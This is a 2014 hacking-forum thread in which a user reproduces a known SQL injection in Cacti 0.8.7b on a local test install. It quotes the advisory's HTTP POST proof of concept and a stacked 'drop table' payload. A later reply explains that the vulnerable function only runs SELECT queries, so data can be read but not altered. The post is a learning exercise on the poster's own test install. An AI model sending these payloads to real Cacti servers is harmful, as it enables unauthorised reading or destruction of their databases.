![]() |
|
[Help] Playing with cacti and SQLInjection - Printable Version +- Sinisterly (https://sinister.li) +-- Forum: Hacking (https://sinister.li/Forum-Hacking) +--- Forum: Website & Server Hacking (https://sinister.li/Forum-Website-Server-Hacking) +--- Thread: [Help] Playing with cacti and SQLInjection (/Thread-Help-Playing-with-cacti-and-SQLInjection) |
[Help] Playing with cacti and SQLInjection - it4chi - 06-06-2014 Hi guys I've installed Cacti Version 0.8.7b to play with a know vulnerability (SQLinjection). I report an extract of the advisory including the poc: Quote:Technical Description The POC Code: Host: 192.168.80.27
User-Agent: Browser/0.5.0 (X11; Linux x86_64; rv:4.0) Gecko/20120021 Browser/0.0 Browser/0.5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.80.27/cacti/templates_export.php
Cookie: Cacti=12F&FFVU78e5t23341gs541g4efw555691; clickedFoldert2=1%5E; highlightedTreeviewLinkt2=2
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 122
export_item_id=18 and 1=1&include_deps=on&output_format=3&export_type=graph_template&save_component_export=1&action=save&x=42&y=11I want to underline the injection in posta-data: export_item_id=18 and 1=1 Now, for learning purpose, I want to see how many deep I can go with this vulnerability. For example in the DB named "cacti" and from mysql terminal i run: Code: use cacti;
CREATE TABLE version2 (id INT,data VARCHAR(100));With the injection I would to destroy this table so, as post content I send export_item_id=18; drop table version2;--: Code: export_item_id=18; drop table version2;--&include_deps=on&output_format=3&export_type=graph_template&save_component_export=1&action=save&x=42&y=11But with no effect instead if I copy the query from php source file of cacti and run the query in the mysql shell I remove the table with success: Original query extracted from export.php Code: $graph_template_items = db_fetch_assoc("select
data_template_rrd.data_template_id
from (graph_templates_item,data_template_rrd)
where graph_templates_item.task_item_id=data_template_rrd.id
and graph_templates_item.graph_template_id=$id
and graph_templates_item.local_graph_id=0
and graph_templates_item.task_item_id > 0
group by data_template_rrd.data_template_id");The modified query to run in mysql: Code: select data_template_rrd.data_template_id from (graph_templates_item,data_template_rrd) where graph_templates_item.task_item_id=data_template_rrd.id and graph_templates_item.graph_template_id=18; drop table version2;-- and graph_templates_item.local_graph_id=0 and graph_templates_item.task_item_id > 0 group by data_template_rrd.data_template_id;Any help or idea?
RE: [Help] Playing with cacti and SQLInjection - it4chi - 06-24-2014 Hi guys, the problem is the function db_fetch_assoc. Take a look to its definition: Code: /* db_fetch_assoc - run a 'select' sql query and return all rows found
@arg $sql - the sql query to execute
@arg $log - whether to log error messages, defaults to true
@returns - the entire result set as a multi-dimensional hash */
function db_fetch_assoc($sql, $log = TRUE) {
global $cnn_id;
...
error_log("DB FETCH ASSOC:".$sql);
....
$data = array();
$cnn_id->SetFetchMode(ADODB_FETCH_ASSOC);
$query = $cnn_id->Execute($sql);Due to ADODB_FETCH_ASSOC I can only run select query, in other words I can retrive info from DB but I can't alter the db : D I'm replying to my own post now because I had no time to investigate before now, and I had to find the answer to my sql injection failed attempts In conclusion cacti 0.8.7b is vulnerable to sqlInjection, but as I can see is not so critical : ) I can be wrong and any comment is welcome |